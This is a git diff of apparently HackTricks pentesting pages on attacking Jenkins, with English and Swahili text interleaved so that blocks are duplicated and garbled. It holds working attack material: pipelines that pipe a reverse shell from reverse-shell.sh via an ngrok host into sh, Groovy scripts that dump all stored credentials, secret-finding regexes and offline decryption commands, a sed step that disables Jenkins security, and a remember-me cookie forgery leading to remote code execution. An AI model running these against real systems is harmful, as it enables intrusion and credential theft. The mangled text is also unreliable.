It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
Ni **ya kuvutia sana kukiuka Built-In node** kwa sababu ina taarifa nyeti za Jenkins.
Ili kuonyesha unataka **kuendesha** **pipeline** katika **built-in Jenkins node** unaweza kubainisha ndani ya pipeline usanidi ufuatao:
```bash
pipeline {
agent {label 'built-in'}
agent {label 'built-in'}
```
### Mfano kamili
### Complete example
Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
Pipeline katika wakala maalum, na kichocheo cha cron, na mabadiliko ya pipeline na hatua, ikipakia mabadiliko 2 katika hatua na kutuma shell ya kinyume:
```bash
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
post {
always {
cleanWs()
}
}
post {
always {
cleanWs()
}
}
}
```
## Arbitrary File Read to RCE
## Kusoma Faili Bila Mpangilio hadi RCE
{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -326,43 +306,40 @@ jenkins-rce-creating-modifying-project.md
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
## Post Exploitation
## Baada ya Kutekeleza
### Metasploit
```
msf> post/multi/gather/jenkins_gather
```
### Jenkins Secrets
You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
Unaweza kuorodhesha siri kwa kufikia `/credentials/` ikiwa una ruhusa za kutosha. Kumbuka kwamba hii itataja tu siri zilizo ndani ya faili `credentials.xml`, lakini **faili za usanidi wa kujenga** zinaweza pia kuwa na **siri zaidi**.
If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
Ikiwa unaweza **kuona usanidi wa kila mradi**, unaweza pia kuona huko **majina ya siri (credentials)** yanayotumika kufikia hifadhi na **siri nyingine za mradi**.
![](<../../images/image (180).png>)
#### From Groovy
#### Kutoka Groovy
{{#ref}}
jenkins-dumping-secrets-from-groovy.md
{{#endref}}
#### From disk
#### Kutoka diski
These files are needed to **decrypt Jenkins secrets**:
Faili hizi zinahitajika ili **kufichua siri za Jenkins**:
- secrets/master.key
- secrets/hudson.util.Secret
Such **secrets can usually be found in**:
Siri hizo **kwa kawaida zinaweza kupatikana katika**:
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
Here's a regex to find them:
Hapa kuna regex ya kuzipata:
```bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
@@ -372,11 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
```
#### Fichua siri za Jenkins bila mtandao
#### Decrypt Jenkins secrets offline
If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
Ikiwa umepata **nenosiri muhimu ya kufichua siri**, tumia [**hii script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **kufichua hizo siri**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -384,23 +359,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
#### Decrypt Jenkins secrets from Groovy
#### Fichua siri za Jenkins kutoka Groovy
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
### Unda mtumiaji mpya wa admin
### Create new admin user
1. Fikia faili la Jenkins config.xml katika `/var/lib/jenkins/config.xml` au `C:\Program Files (x86)\Jenkis\`
2. Tafuta neno `<useSecurity>true</useSecurity>` na badilisha neno **`true`** kuwa **`false`**.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Restart** seva ya **Jenkins**: `service jenkins restart`
4. Sasa nenda kwenye lango la Jenkins tena na **Jenkins haitakuuliza taarifa zozote za kuingia** wakati huu. Tembelea "**Manage Jenkins**" kuweka **nenosiri la msimamizi tena**.
5. **Wezesha** **usalama** tena kwa kubadilisha mipangilio kuwa `<useSecurity>true</useSecurity>` na **restart Jenkins tena**.
1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
2. Search for the word `<useSecurity>true</useSecurity>`and change the word \*\*`true` \*\* to **`false`**.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Restart** the **Jenkins** server: `service jenkins restart`
4. Now go to the Jenkins portal again and **Jenkins will not ask any credentials** this time. You navigate to "**Manage Jenkins**" to set the **administrator password again**.
5. **Enable** the **security** again by changing settings to `<useSecurity>true</useSecurity>` and **restart the Jenkins again**.
## References
## Marejeleo
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
@@ -410,6 +382,3 @@ println(hudson.util.Secret.decrypt("{...}"))
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,87 +1,87 @@
# Basic Jenkins Information
# Msingi wa Taarifa za Jenkins
{{#include ../../banners/hacktricks-training.md}}
## Access
## Ufikiaji
### Username + Password
### Jina la mtumiaji + Nenosiri
The most common way to login in Jenkins if with a username or a password
Njia ya kawaida zaidi ya kuingia kwenye Jenkins ni kwa kutumia jina la mtumiaji au nenosiri.
### Cookie
### Keki
If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
Ikiwa **keki iliyoidhinishwa inapatikana**, inaweza kutumika kufikia kikao cha mtumiaji. Keki hiyo kwa kawaida inaitwa `JSESSIONID.*`. (Mtumiaji anaweza kumaliza vikao vyake vyote, lakini itabidi ajue kwanza kwamba keki ilipatikana).
### SSO/Plugins
### SSO/Vyombo vya kazi
Jenkins can be configured using plugins to be **accessible via third party SSO**.
Jenkins inaweza kuundwa kwa kutumia vyombo vya kazi ili iweze **kupatikana kupitia SSO ya upande wa tatu**.
### Tokens
**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
**Watumiaji wanaweza kuunda tokens** ili kutoa ufikiaji kwa programu kujiwakilisha kupitia CLI au REST API.
### SSH Keys
This component provides a built-in SSH server for Jenkins. Its an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
Kipengele hiki kinatoa seva ya SSH iliyojengwa ndani kwa Jenkins. Ni kiolesura mbadala kwa [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), na amri zinaweza kutolewa kwa njia hii kwa kutumia mteja yeyote wa SSH. (Kutoka kwenye [docs](https://plugins.jenkins.io/sshd/))
## Authorization
## **Uidhinishaji**
In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
Katika `/configureSecurity` inawezekana **kuunda njia ya uidhinishaji ya Jenkins**. Kuna chaguzi kadhaa:
- **Anyone can do anything**: Even anonymous access can administrate the server
- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
- **Mtu yeyote anaweza kufanya chochote**: Hata ufikiaji wa kutokuwa na jina unaweza kusimamia seva.
- **Njia ya zamani**: Sawasawa na Jenkins <1.164. Ikiwa una **"nafasi ya admin"**, utapewa **udhibiti kamili** juu ya mfumo, na **vinginevyo** (ikiwemo **watumiaji wasiojulikana**) utakuwa na **ufikiaji wa kusoma**.
- **Watumiaji walioingia wanaweza kufanya chochote**: Katika hali hii, kila **mtumiaji aliyeingia anapata udhibiti kamili** wa Jenkins. Mtumiaji pekee ambaye hatakuwa na udhibiti kamili ni **mtumiaji asiyejulikana**, ambaye anapata tu **ufikiaji wa kusoma**.
- **Usalama wa msingi wa Matrix**: Unaweza kuunda **nani anaweza kufanya nini** katika jedwali. Kila **safu** inawakilisha **idhini**. Kila **mstari** **unawakilisha** **mtumiaji au kundi/nafasi.** Hii inajumuisha mtumiaji maalum '**asiyejulikana**', ambaye anawakilisha **watumiaji wasio na uthibitisho**, pamoja na '**uthibitishwa**', ambaye anawakilisha **watumiaji wote walio na uthibitisho**.
![](<../../images/image (149).png>)
- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
- **Mkakati wa Uidhinishaji wa Msingi wa Mradi:** Njia hii ni **nyongeza** kwa "**Usalama wa msingi wa Matrix**" inayoruhusu ACL ya ziada kuundwa **kwa kila mradi tofauti.**
- **Mkakati wa Kazi:** Inaruhusu kuunda uidhinishaji kwa kutumia **mkakati wa kazi**. Simamia nafasi katika `/role-strategy`.
## **Security Realm**
## **Ufalme wa Usalama**
In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
Katika `/configureSecurity` inawezekana **kuunda ufalme wa usalama.** Kwa kawaida Jenkins inajumuisha msaada wa Ufalme wa Usalama kadhaa tofauti:
- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
- **Jenkins own user database:** Use **Jenkinss own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
- **Delegati kwa kontena la servlet**: Kwa **kuhamasisha uthibitisho kwa kontena la servlet linaloendesha Jenkins controller**, kama [Jetty](https://www.eclipse.org/jetty/).
- **Hifadhidata ya mtumiaji ya Jenkins:** Tumia **hifadhidata ya mtumiaji iliyojengwa ndani ya Jenkins** kwa uthibitisho badala ya kuhamasisha kwa mfumo wa nje. Hii imewezeshwa kwa kawaida.
- **LDAP**: Hamisha uthibitisho wote kwa seva ya LDAP iliyowekwa, ikiwa ni pamoja na watumiaji na makundi.
- **Hifadhidata ya mtumiaji/kundi la Unix**: **Huhamisha uthibitisho kwa hifadhidata ya mtumiaji ya kiwango cha Unix** kwenye Jenkins controller. Njia hii pia itaruhusu matumizi ya makundi ya Unix kwa uidhinishaji.
Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
Vyombo vya kazi vinaweza kutoa ufalme wa usalama wa ziada ambao unaweza kuwa muhimu kwa kuingiza Jenkins katika mifumo ya utambulisho iliyopo, kama vile:
- [Active Directory](https://plugins.jenkins.io/active-directory)
- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
## Jenkins Nodes, Agents & Executors
## Nodes, Wakala & Watekelezaji wa Jenkins
Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
M definitions kutoka kwenye [docs](https://www.jenkins.io/doc/book/managing/nodes/):
**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
**Nodes** ni **mashine** ambazo wakala wa ujenzi **wanakimbia**. Jenkins inafuatilia kila node iliyoambatanishwa kwa ajili ya nafasi ya diski, nafasi ya muda ya bure, kubadilishana bure, muda wa saa/sawazisha na muda wa majibu. Node inachukuliwa kuwa nje ya mtandao ikiwa mojawapo ya hizi thamani inatoka nje ya kigezo kilichowekwa.
**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
**Wakala** **wanasimamia** **utendaji wa kazi** kwa niaba ya Jenkins controller kwa **kutumia watekelezaji**. Wakala anaweza kutumia mfumo wowote wa uendeshaji unaounga mkono Java. Zana zinazohitajika kwa ajili ya ujenzi na majaribio zimewekwa kwenye node ambapo wakala anafanya kazi; zinaweza **kuwekwa moja kwa moja au kwenye kontena** (Docker au Kubernetes). Kila **wakala kwa ufanisi ni mchakato wenye PID yake** kwenye mashine mwenyeji.
An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
**Mtekelezaji** ni **nafasi ya kutekeleza kazi**; kwa ufanisi, ni **thread katika wakala**. **Idadi ya watekelezaji** kwenye node inafafanua idadi ya **kazi zinazoweza kutekelezwa kwa wakati mmoja** kwenye node hiyo. Kwa maneno mengine, hii inamua **idadi ya hatua za Pipeline `stages`** zinazoweza kutekelezwa kwenye node hiyo kwa wakati mmoja.
## Jenkins Secrets
## Siri za Jenkins
### Encryption of Secrets and Credentials
### Ulinzi wa Siri na Hati
Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
M definition kutoka kwenye [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins inatumia **AES kulinda na kulinda siri**, hati, na funguo zao za ulinzi. Funguo hizi za ulinzi zimehifadhiwa katika `$JENKINS_HOME/secrets/` pamoja na funguo kuu inayotumika kulinda funguo hizo. Hii directory inapaswa kuundwa ili tu mtumiaji wa mfumo wa uendeshaji ambaye Jenkins controller inakimbia kama awe na ufikiaji wa kusoma na kuandika kwenye directory hii (yaani, thamani ya `chmod` ya `0700` au kutumia sifa sahihi za faili). **Funguo kuu** (wakati mwingine inaitwa "funguo ya ulinzi wa funguo" katika cryptojargon) inahifadhiwa \_bila kulindwa\_ kwenye mfumo wa faili wa Jenkins controller katika **`$JENKINS_HOME/secrets/master.key`** ambayo haiwezi kulinda dhidi ya washambuliaji wenye ufikiaji wa moja kwa moja kwa faili hiyo. Watumiaji wengi na waendelezaji watatumia funguo hizi za ulinzi kwa njia isiyo ya moja kwa moja kupitia ama [Secret](https://javadoc.jenkins.io/byShortName/Secret) API kwa kulinda data ya siri ya kawaida au kupitia API ya hati. Kwa wale wanaopenda cryptography, Jenkins inatumia AES katika hali ya kuzuia block (CBC) na padding ya PKCS#5 na IV za nasibu kulinda matukio ya [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) ambayo yanahifadhiwa katika `$JENKINS_HOME/secrets/` kwa jina la faili linalolingana na `CryptoConfidentialKey` id yao. Idadi za kawaida za funguo ni pamoja na:
- `hudson.util.Secret`: used for generic secrets;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
- `hudson.util.Secret`: inatumika kwa siri za kawaida;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: inatumika kwa aina fulani za hati;
- `jenkins.model.Jenkins.crumbSalt`: inatumika na [mekanismu ya ulinzi wa CSRF](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); na
### Credentials Access
### Ufikiaji wa Hati
Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job/<project-name>/configure`) and therefore only accessible from the specific project.
Hati zinaweza **kuwekwa kwa watoa huduma wa kimataifa** (`/credentials/`) ambazo zinaweza kufikiwa na mradi wowote ulioandaliwa, au zinaweza kuwekwa kwa **miradi maalum** (`/job/<project-name>/configure`) na hivyo kuwa na ufikiaji kutoka mradi maalum tu.
According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
Kulingana na [**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Hati ambazo ziko katika upeo zinapatikana kwa pipeline bila kikomo. Ili **kuzuia kufichuliwa kwa bahati mbaya katika kumbukumbu ya ujenzi**, hati zime **fichwa** kutoka kwa matokeo ya kawaida, hivyo mwito wa `env` (Linux) au `set` (Windows), au programu zinazochapisha mazingira yao au vigezo hazitafichua katika kumbukumbu ya ujenzi** kwa watumiaji ambao vinginevyo hawangeweza kupata hati hizo.
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
**Ndio maana ili kuhamasisha hati, mshambuliaji anahitaji, kwa mfano, kuzifanya kuwa base64.**
## References
## Marejeleo
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
@@ -92,6 +92,3 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,107 +2,104 @@
{{#include ../../banners/hacktricks-training.md}}
In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
Katika chapisho hili la blog, inawezekana kupata njia nzuri ya kubadilisha udhaifu wa Local File Inclusion katika Jenkins kuwa RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
Hii ni muhtasari ulioandikwa na AI wa sehemu ya chapisho ambapo ufundi wa kuki isiyo ya kawaida unatumika vibaya kupata RCE kwa kutumia kusoma faili za ndani hadi nitakapokuwa na muda wa kuunda muhtasari wangu mwenyewe:
### Attack Prerequisites
### Masharti ya Shambulio
- **Feature Requirement:** "Remember me" must be enabled (default setting).
- **Access Levels:** Attacker needs Overall/Read permissions.
- **Secret Access:** Ability to read both binary and textual content from key files.
- **Mahitaji ya Kipengele:** "Remember me" lazima iwe imewezeshwa (mipangilio ya default).
- **Viwango vya Ufikiaji:** Mshambuliaji anahitaji ruhusa za Jumla/Soma.
- **Ufikiaji wa Siri:** Uwezo wa kusoma maudhui ya binary na maandiko kutoka kwa faili muhimu.
### Detailed Exploitation Process
### Mchakato wa Kina wa Kutekeleza
#### Step 1: Data Collection
#### Hatua ya 1: Kukusanya Data
**User Information Retrieval**
**Kurejesha Taarifa za Mtumiaji**
- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
- **Username**
- **User seed**
- **Timestamp**
- **Password hash**
- Fikia usanidi wa mtumiaji na siri kutoka `$JENKINS_HOME/users/*.xml` kwa kila mtumiaji ili kukusanya:
- **Jina la Mtumiaji**
- **Mbegu ya Mtumiaji**
- **Wakati**
- **Hash ya Nywila**
**Secret Key Extraction**
**Uondoaji wa Funguo za Siri**
- Extract cryptographic keys used for signing the cookie:
- **Secret Key:** `$JENKINS_HOME/secret.key`
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
- Ondoa funguo za kificho zinazotumika kusaini kuki:
- **Funguo ya Siri:** `$JENKINS_HOME/secret.key`
- **Funguo Kuu:** `$JENKINS_HOME/secrets/master.key`
- **Faili ya Funguo ya MAC:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
#### Step 2: Cookie Forging
#### Hatua ya 2: Uundaji wa Kuki
**Token Preparation**
**Maandalizi ya Token**
- **Calculate Token Expiry Time:**
- **Hesabu Wakati wa Kuisha wa Token:**
```javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
```
```javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Ongeza saa moja kwa wakati wa sasa
```
- **Concatenate Data for Token:**
- **Unganisha Data kwa Token:**
```javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
```
```javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
```
**MAC Key Decryption**
**Ufunguo wa MAC**
- **Decrypt MAC Key File:**
- **Fungua Faili ya MAC:**
```javascript
key = toAes128Key(masterKey) // Convert master key to AES128 key format
decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
```
```javascript
key = toAes128Key(masterKey) // Badilisha funguo kuu kuwa muundo wa funguo za AES128
decrypted = AES.decrypt(macFile, key) // Fungua faili ya .mac
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
```
**Signature Computation**
**Hesabu ya Sahihi**
- **Compute HMAC SHA256:**
- **Hesabu HMAC SHA256:**
```javascript
mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
```
```javascript
mac = HmacSHA256(token, macKey) // Hesabu HMAC kwa kutumia token na funguo ya MAC
tokenSignature = bytesToHexString(mac) // Badilisha MAC kuwa mfuatano wa hexadecimal
```
**Cookie Encoding**
**Ufungaji wa Kuki**
- **Generate Final Cookie:**
- **Unda Kuki ya Mwisho:**
```javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Base64 encode the cookie data
```
```javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Fanya base64 encode data ya kuki
```
#### Step 3: Code Execution
#### Hatua ya 3: Utekelezaji wa Msimbo
**Session Authentication**
**Uthibitishaji wa Kikao**
- **Fetch CSRF and Session Tokens:**
- Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
- Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
- **Pata CSRF na Token za Kikao:**
- Fanya ombi kwa `/crumbIssuer/api/json` ili kupata `Jenkins-Crumb`.
- Kamata `JSESSIONID` kutoka kwa jibu, ambayo itatumika pamoja na kuki ya remember-me.
**Command Execution Request**
**Ombi la Utekelezaji wa Amri**
- **Send a POST Request with Groovy Script:**
- **Tuma Ombi la POST na Skripti ya Groovy:**
```bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
```
```bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
```
- Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
- Skripti ya Groovy inaweza kutumika kutekeleza amri za kiwango cha mfumo au shughuli nyingine ndani ya mazingira ya Jenkins.
The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
Mfano wa amri ya curl iliyotolewa inaonyesha jinsi ya kufanya ombi kwa Jenkins na vichwa na kuki zinazohitajika ili kutekeleza msimbo usio wa kawaida kwa usalama.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -3,10 +3,9 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
You can **dump all the secrets from the Groovy Script console** in `/script` running this code
> Kumbuka kwamba hizi scripts zitaorodhesha tu siri ndani ya faili `credentials.xml`, lakini **faili za usanidi wa kujenga** zinaweza pia kuwa na **siri zaidi**.
Unaweza **kutoa siri zote kutoka kwenye Groovy Script console** katika `/script` ukikimbia hii code
```java
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
import jenkins.model.*
@@ -42,51 +41,45 @@ showRow("something else", it.id, '', '', '')
return
```
#### or this one:
#### au hii:
```java
import java.nio.charset.StandardCharsets;
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.Credentials.class
com.cloudbees.plugins.credentials.Credentials.class
)
for (c in creds) {
println(c.id)
if (c.properties.description) {
println(" description: " + c.description)
}
if (c.properties.username) {
println(" username: " + c.username)
}
if (c.properties.password) {
println(" password: " + c.password)
}
if (c.properties.passphrase) {
println(" passphrase: " + c.passphrase)
}
if (c.properties.secret) {
println(" secret: " + c.secret)
}
if (c.properties.secretBytes) {
println(" secretBytes: ")
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
println("")
}
if (c.properties.privateKeySource) {
println(" privateKey: " + c.getPrivateKey())
}
if (c.properties.apiToken) {
println(" apiToken: " + c.apiToken)
}
if (c.properties.token) {
println(" token: " + c.token)
}
println("")
println(c.id)
if (c.properties.description) {
println(" description: " + c.description)
}
if (c.properties.username) {
println(" username: " + c.username)
}
if (c.properties.password) {
println(" password: " + c.password)
}
if (c.properties.passphrase) {
println(" passphrase: " + c.passphrase)
}
if (c.properties.secret) {
println(" secret: " + c.secret)
}
if (c.properties.secretBytes) {
println(" secretBytes: ")
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
println("")
}
if (c.properties.privateKeySource) {
println(" privateKey: " + c.getPrivateKey())
}
if (c.properties.apiToken) {
println(" apiToken: " + c.apiToken)
}
if (c.properties.token) {
println(" token: " + c.token)
}
println("")
}
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,42 +1,37 @@
# Jenkins RCE Creating/Modifying Pipeline
# Jenkins RCE Kuunda/Kubadilisha Pipeline
{{#include ../../banners/hacktricks-training.md}}
## Creating a new Pipeline
## Kuunda Pipeline Mpya
In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
Katika "Kitu Kipya" (kinachopatikana katika `/view/all/newJob`) chagua **Pipeline:**
![](<../../images/image (235).png>)
In the **Pipeline section** write the **reverse shell**:
Katika **sehemu ya Pipeline** andika **reverse shell**:
![](<../../images/image (285).png>)
```groovy
pipeline {
agent any
agent any
stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
